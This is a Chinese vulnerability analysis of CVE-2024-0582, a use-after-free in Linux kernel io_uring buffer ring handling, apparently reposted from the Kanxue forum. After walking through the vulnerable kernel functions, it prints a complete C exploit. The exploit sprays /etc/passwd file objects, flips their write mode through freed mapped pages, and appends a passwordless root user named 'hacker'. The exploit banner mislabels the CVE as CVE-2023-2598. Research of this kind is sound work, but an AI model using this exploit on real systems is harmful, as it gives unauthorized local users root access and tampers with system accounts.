一、漏洞简介
漏洞编号: CVE-2024-0582
影响版本: v6.4 < Linux Kernel < v6.6.5
漏洞产品: linux kernel - io_uring & io_unregister_pbuf_ring & uaf
利用效果: 本地提权
二、环境搭建
复现环境:qemu + linux kernel v6.5.3
环境附件:mowenroot/Kernel
复现流程: 执行exp后,账号:hacker的root用户被添加。su hacker完成提权。
三、漏洞原理
漏洞本质是uaf
。从内核版本5.7开始,为了便于管理不同的缓冲区集,io_uring
允许应用程序注册由组 ID 标识的缓冲区池。通过io_uring_register
的opcode->IORING_REGISTER_PBUF_RING
调用io_register_pbuf_ring()
来完成注册ID标识缓冲区。并从内核版本6.4开始,io_uring
还允许用户将提供的缓冲区环的分配委托给内核,由IOU_PBUF_RING_MMAP
标识符即可生成。调用IOU_PBUF_RING_MMAP
由内核完成分配空间后,然后使用mmap()
标识符映射到用户的地址,但是这个操作不会修改页面结构(pgae)的引用计数,然后使用io_unregister_pbuf_ring()
释放申请的空间的时候会调用put_page_testzero(page)
,对page
引用-1
并判断引用是否为0,如果为0就会释放page
,因为mmap
映射的时候并不会页面结构(pgae)的引用计数,内核并不知道是否取消了内存的映射。所以就会出现映射未取消就释放page
的情况,而导致用户虚拟地址对物理地址映射未取消的UAF
。
四、漏洞分析
关于io_uring的一些基础知识之前的文章已经详细介绍过,如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。
NVD描述:A memory leak flaw was found in the Linux kernel’s io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.
io_uring_register
提供了接口io_register_pbuf_ring
来完成注册ID
标识缓冲区。旨在通过ID
来对不同的缓冲区进行管理。下面分析的kernel
源码版本为v6.5.3
。
io_register_pbuf_ring
「1」 首先把用户数据复制到内核的reg
。然后参数检查,判断entries
是否为2
次幂,并且限制entries
最大不能超过65536
。需要注意一点:意味着条目最大为32768
。
「2」 如果ctx->io_bl
为初始化时,会尝试初始化ctx->io_bl
,这里的io_bl
是一个64
长度的数组。数组中存放io_buffer_list
。如果id
大于等于64
时就会通过xarray
来管理。
「3」 调用io_buffer_get_list()
,通过id
获取对应bl (buf list)
,如果bl
为空时,则会申请结构体io_buffer_list
空间,标志为GFP_KERNEL
。
「4」 当使用IOU_PBUF_RING_MMAP
时,会调用io_alloc_pbuf_ring()
,来申请buf_ring
空间,否则内存页,最后将 bl加入到ctx
中。
使用IOU_PBUF_RING_MMAP
就会完成对buf_ring
的空间分配,全程都由内核来完成,不同于io_sqe_buffers_register
需要用户传入注册的地址。用户只需要指定对应注册的ID
即可。
int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
struct io_uring_buf_reg reg;
struct io_buffer_list *bl, *free_bl = NULL;
int ret;
if (copy_from_user(®, arg, sizeof(reg)))
return -EFAULT;
if (reg.resv[0] || reg.resv[1] || reg.resv[2])
return -EINVAL;
if (reg.flags & ~IOU_PBUF_RING_MMAP)
return -EINVAL;
// 非 MMAP的时候会检查 ring_addr
if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
if (!reg.ring_addr)
return -EFAULT;
if (reg.ring_addr & ~PAGE_MASK)
return -EINVAL;
} else {
if (reg.ring_addr)
return -EINVAL;
}
// 判断是否为 2的幂
if (!is_power_of_2(reg.ring_entries))
return -EINVAL;
/* cannot disambiguate full vs empty due to head/tail size */
// MAX限制
if (reg.ring_entries >= 65536)
return -EINVAL;
// 当 0 <= id < 64 时,并且 io_bl 未初始化
if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
// 尝试初始化 io_bl (buf list)
int ret = io_init_bl_list(ctx);
if (ret)
return ret;
}
// 通过 id 获取对应 bl (buf list)
bl = io_buffer_get_list(ctx, reg.bgid);
if (bl) {
/* if mapped buffer ring OR classic exists, don't allow */
if (bl->is_mapped || !list_empty(&bl->buf_list))
return -EEXIST;
} else {
// 申请结构体 io_buffer_list 空间
free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
if (!bl)
return -ENOMEM;
}
if (!(reg.flags & IOU_PBUF_RING_MMAP))
// 非 IOU_PBUF_RING_MMAP 用来固定内存页
ret = io_pin_pbuf_ring(®, bl);
else
// IOU_PBUF_RING_MMAP 会执行到这,申请 buf_ring 空间
ret = io_alloc_pbuf_ring(®, bl);
if (!ret) {
// 正常执行
bl->nr_entries = reg.ring_entries;
bl->mask = reg.ring_entries - 1;
// 将链表加入 ctx
io_buffer_add_list(ctx, bl, reg.bgid);
return 0;
}
kfree(free_bl);
return ret;
}
io_buffer_get_list
「1」 返回ID
对应的io_buffer_list(bl)
。 当 ID 符合限制的时候,会使用数组来管理 io_buffer_list
,这个时候直接返回ID
对应的bl
即可。如果超过限制,则使用xarray
来管理。
static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
unsigned int bgid)
{
// 直接返回对应 io_buffer_list
if (ctx->io_bl && bgid < BGID_ARRAY)
return &ctx->io_bl[bgid];
// 如果 id 超过限制,返回xarray中的空间
return xa_load(&ctx->io_bl_xa, bgid);
}
io_alloc_pbuf_ring
「1」 为io_uring_buf_ring
申请空间 。buf_ring
环存放 ring_entries
个io_uring_buf_ring
,而io_uring_buf_ring
中存放地址、长度等信息。值得注意的是:申请pages
为复合页。
static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
struct io_buffer_list *bl)
{
// 复合页申请
gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
size_t ring_size;
void *ptr;
// buf_ring 环存放 ring_entries 个 io_uring_buf_ring
// io_uring_buf_ring 指向地址等信息
ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
if (!ptr)
return -ENOMEM;
bl->buf_ring = ptr;
bl->is_mapped = 1;
bl->is_mmap = 1;
return 0;
}
io_uring_buf、io_uring_buf_ring
结构体
struct io_uring_buf {
__u64 addr;
__u32 len;
__u16 bid;
__u16 resv;
};
struct io_uring_buf_ring {
union {
/*
* To avoid spilling into more pages than we need to, the
* ring tail is overlaid with the io_uring_buf->resv field.
*/
struct {
__u64 resv1;
__u32 resv2;
__u16 resv3;
__u16 tail;
};
__DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs);
};
};
io_unregister_pbuf_ring
「1」 先根据id
获取io_buffer_list
,如果id
符合标志则调用__io_remove_buffers
仅仅释放bl->buf_ring
。而不符合标准的使用xarray
来管理,会直接释放整个bl
。
int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
struct io_uring_buf_reg reg;
struct io_buffer_list *bl;
if (copy_from_user(®, arg, sizeof(reg)))
return -EFAULT;
if (reg.resv[0] || reg.resv[1] || reg.resv[2])
return -EINVAL;
if (reg.flags)
return -EINVAL;
// 根据 id 获取 io_buffer_list
bl = io_buffer_get_list(ctx, reg.bgid);
if (!bl)
return -ENOENT;
if (!bl->is_mapped)
return -EINVAL;
// 释放 bl
__io_remove_buffers(ctx, bl, -1U);
if (bl->bgid >= BGID_ARRAY) {
xa_erase(&ctx->io_bl_xa, bl->bgid);
kfree(bl);
}
return 0;
}
__io_remove_buffers
「1」 由IORING_REGISTER_PBUF_RING
申请的空间,会先获取bl->buf_ring
的虚拟地址,然后调用put_page_testzero()
,对page
引用-1
,如果当前引用==0
,则释放page
,但是使用mmap
映射持有时,不会对page
引用改变,内核无法知道此时映射是否取消。
static int __io_remove_buffers(struct io_ring_ctx *ctx,
struct io_buffer_list *bl, unsigned nbufs)
{
unsigned i = 0;
/* shouldn't happen */
if (!nbufs)
return 0;
if (bl->is_mapped) {
i = bl->buf_ring->tail - bl->head;
// 由 IORING_REGISTER_PBUF_RING,申请的空间
if (bl->is_mmap) {
struct page *page;
// 获取虚拟地址
page = virt_to_head_page(bl->buf_ring);
/**
* [!!]漏洞处
* 对page引用 -1,如果当前引用==0,则释放page
* 使用mmap映射持有时,不会对page引用改变
* 内核无法知道此时映射是否取消
*/
if (put_page_testzero(page))
free_compound_page(page);
bl->buf_ring = NULL;
bl->is_mmap = 0;
}
//...
return i;
}
五、漏洞复现
本质就是篡改filp->f_mode
为可写,然后篡改/etc/passwd
。
〔1〕 初始化:绑定CPU,注册io_uring,设置最大可打开文件数 (把rlim_cur设置为rlim_max),nr_files
最大打开file
数量。
〔2〕 通过IOU_PBUF_RING_MMAP
注册对应ID
的buf_ring
区域。然后通过mmap
映射到用户空间。
〔3〕 通过io_uring_unregister_buf_ring
释放申请的所有buf_ring
。
〔4〕 喷射 nr_files
个/etc/passwd
,因为通过O_RDONLY
标识符打开,f_mode
固定为0x494a801d
。
〔5〕 尝试使用UAF
,通过固定的f_flags+f_mode == 0x484a801d00008000
定位到文件处,修改f_mode
。
〔6〕因为无法知道文件描述符,所以暴力对所有/etc/passwd
进行写操作,通过返回值判断是否写入成功,非常稳定。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#include<sys/file.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf(" 33[0mn");
#define RED printf(" 33[31m");
#define GREEN printf(" 33[36m");
#define BLUE printf(" 33[34m");
#define YELLOW printf(" 33[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN " 33[32m"
#define COLOR_RED " 33[31m"
#define COLOR_YELLOW " 33[33m"
#define COLOR_BLUE " 33[34m"
#define COLOR_DEFAULT " 33[0m"
#define showAddr(var) dprintf(2, COLOR_GREEN "[*] %s -> %pn" COLOR_DEFAULT, #var, var);
#define logu(fmt, ...) dprintf(2, "[*] " fmt "n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)
do {
loge(fmt, ##__VA_ARGS__);
loge("Exit at line %d", __LINE__);
exit(1);
} while (0)
#define debug(fmt, ...)
do {
loge(fmt, ##__VA_ARGS__);
loge("debug at line %d", __LINE__);
getchar();
} while (0)
#define check_ret(ret, buf) do { if((ret) < 0) { die(buf); } } while(0)
#define MAX_ring_entries 65536
#define PAGE_SZIE 0x1000
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
struct __attribute__((aligned(0x100))) fake_filp{
char pad[20];
uint32_t f_mode;
char padding[];
};
void prep_rlimit(int *nr_files){
struct rlimit max_file;
getrlimit(RLIMIT_NOFILE,&max_file);
logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
max_file.rlim_cur=max_file.rlim_max;
setrlimit(RLIMIT_NOFILE,&max_file);
int limit = max_file.rlim_max/4;
*nr_files = limit/2;
logu("nr_files -> %d",*nr_files);
}
int change_mode(void* addr,uint64_t size){
int ret = -1;
uint64_t* tmp = (uint64_t* )addr;
for (size_t i = 0; i < size/8; i++)
{
// if( tmp[i] != 0)
// logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
if(tmp[i]==0x494a801d00000000){
// logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
tmp[i] = 0x494f801f00000000;
ret = 1;
break;
}
}
return ret;
}
int main(void){
int nr_files,ret;
struct io_uring ring;
int nr_bufs = 1000;
void** bufs;
struct io_uring_buf_reg reg;
int* fds;
staticstruct stat status;
int passwd_size,passwd_fd;
char* hacker_buf;
int hacker_len;
uint64_t nr_pages,entries,mmap_size,mmap_off;
RED;puts("[*] CVE-2023-2598 Exploit by mowen");CLOSE;
stat("/etc/passwd",&status);
passwd_size=status.st_size;
logi("passwd_size -> %d",passwd_size);
hacker_buf =(char*) malloc(passwd_size*2);
passwd_fd = open("/etc/passwd",O_RDONLY);
read(passwd_fd,hacker_buf,passwd_size);
strcat(hacker_buf,"hacker::0:0:root:/root:/bin/shn");
hacker_len =strlen(hacker_buf);
bind_cpu(0);
// 1、解除当前进程限制
prep_rlimit(&nr_files);
// 2、初始化 io_uring
check_ret(io_uring_queue_init(32,&ring,0),"io_uring_queue_init fail");
bufs = calloc(nr_bufs,sizeof(*bufs));
fds = malloc(nr_files*(sizeof(int)));
/**
* nr_pages: 有多少页,构造页数
* entries = nr_pages*(PAGE_SIZE/sizeof(struct io_uring_buf))
* mmap_size = entries*sizeof(struct io_uring_buf);
*/
entries = MAX_ring_entries/2;
if(entries>MAX_ring_entries){
die("entries too large");
}
nr_pages = entries/256;
logi("nr_pages -> %d entries -> %d",nr_pages,entries);
// 3、注册 IOU_PBUF_RING_MMAP
logu("register buf ring <- IOU_PBUF_RING_MMAP");
for (size_t i = 0; i < nr_bufs; i++)
{
memset(®,0,sizeof(reg));
reg.bgid=i;
reg.flags=IOU_PBUF_RING_MMAP;
reg.ring_entries=entries;
ret=io_uring_register_buf_ring(&ring,®,0);
if(ret < 0){
die("io_uring_register_buf_ring fail [%d]",i);
}
mmap_size = reg.ring_entries*sizeof(struct io_uring_buf);
mmap_off = IORING_OFF_PBUF_RING | (unsignedlonglong) i << IORING_OFF_PBUF_SHIFT;
bufs[i] = mmap(
NULL,
mmap_size,
PROT_READ|PROT_WRITE,
MAP_SHARED,
ring.ring_fd,
mmap_off
);
if(bufs[i]==MAP_FAILED){
die("mmap fail");
}
io_uring_buf_ring_init(bufs[i]);
// logu("br[%d] -> %p",i,br[i]);
}
logu("unregister buf ring");
for (size_t i = 0; i < nr_bufs; i++)
{
io_uring_unregister_buf_ring(&ring, i);
}
logi("sparying...");
for (size_t i = 0; i < nr_files; i++)
{
fds[i] = open("/etc/passwd", O_RDONLY);
check_ret(fds[i],"failed to open file");
}
logi("try to leak...");
for (size_t i = 0; i < nr_bufs; i++)
{
ret = change_mode(bufs[i],PAGE_SZIE*nr_pages);
if(ret<0)continue;
logi("change_mode success!!!");
for (size_t i = 0; i < nr_files; i++)
{
if(write(fds[i],hacker_buf,hacker_len)>0){
logw(" hacker /etc/passwd successful");
break;
}
}
// debug("debug");
stat("/etc/passwd",&status);
logu("passwd_size -> %d",status.st_size);
if(status.st_size==passwd_size)continue;
logd("success!!! su hacker to get root");
exit(0);
}
RED;puts("[*]failed");CLOSE;
return 0;
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
看雪ID:默文
https://bbs.kanxue.com/user-home-1026022.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):CVE-2024-0582 内核提权详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论